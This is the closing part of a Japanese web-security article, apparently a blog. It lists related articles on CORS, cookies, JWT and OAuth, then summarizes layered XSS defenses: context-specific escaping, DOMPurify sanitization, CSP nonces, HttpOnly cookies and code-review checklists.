| Double Submit Cookie完全実装 | Double Submit Cookie完全実装|Synchronizer Token比較・SPA+JWT・サブドメイン攻撃 |
| セキュリティヘッダー一覧と設定ガイド | セキュリティヘッダー一覧と設定ガイド|CSP・HSTS・Referrer-Policy・Permissions-Policy |
| セキュアなCookie設定ガイド | セキュアなCookie設定ガイド|HttpOnly・Secure・SameSiteの使い分けとCSRF対策 |
| CORSエラーの対処法 | CORSエラーの対処法|「Access-Control-Allow-Origin」で解決する |
| CORSプリフライトリクエスト | CORSプリフライトリクエスト|OPTIONSが飛ぶ条件と正しい応答 |
| ローカル開発でCORSエラーが出る原因と3つの回避策 | ローカル開発でCORSエラーが出る原因と3つの回避策 |
| OAuth2 PKCE SPA実装ガイド | OAuth2 PKCE SPA実装ガイド|Authorization Code + S256 + BFFパターン |
| Passkeys・WebAuthn実装の基礎 | Passkeys・WebAuthn実装の基礎|FIDO2・Resident Key・@simplewebauthn/server |
| JWTのデバッグ方法 | JWTのデバッグ方法|トークンの中身を安全に確認する |
| JWTの中身を確認する方法 | JWTの中身を確認する方法|改ざんが検知される仕組み |
| JWKSとJWT鍵ローテーション運用ガイド | JWKSとJWT鍵ローテーション運用ガイド|kid検証・ゼロダウンタイム・Node.js実装 |
まとめ
XSSは反射型・蓄積型・DOM型と入口が分かれますが、根底にあるのは「信頼できないデータを、ブラウザがコードとして解釈する文脈に混ぜてしまう」ことです。OWASP Top 10のInjectionカテゴリに含まれる定番脆弱性であり、CSRF対策より上位の前提として扱う必要があります。
実務では次の多層防御をセットにしてください。
- コンテキスト別エスケープ — HTML・JS・URL・CSSごとに適切なエンコード(理由の詳細)
- DOMPurify — リッチHTMLが必要な箇所のみallowlistサニタイズ
- CSP nonce — 注入スクリプトの実行をブロック(設定ガイド)
- HttpOnly Cookie — 万が一のセッション窃取を抑える深層防御
フレームワークの自動エスケープに頼り切らず、innerHTML・dangerouslySetInnerHTML・テンプレートの生HTML出力構文を定期的に監査する習慣をつけましょう。DevToolsでの手動再現テストと、Playwright等による回帰テストをCIに組み込むと、リグレッションを防ぎやすくなります。
セキュリティは「完璧に防ぐ」より「多層で被害を限定する」発想が実務向きです。エスケープ漏れ1箇所で防御が崩れることを前提に、CSPで実行を止め、HttpOnlyで窃取を遅らせ、監視で異常な外部通信を検知する——この纵深防御(Defense in Depth)をチームの設計原則に据えると、XSSリスクを運用可能な水準まで下げられます。新機能のPRレビューでは「ユーザー入力がどのコンテキストに出力されるか」を必ず1行書くチェックリストを用意するだけでも、事故は大幅に減ります。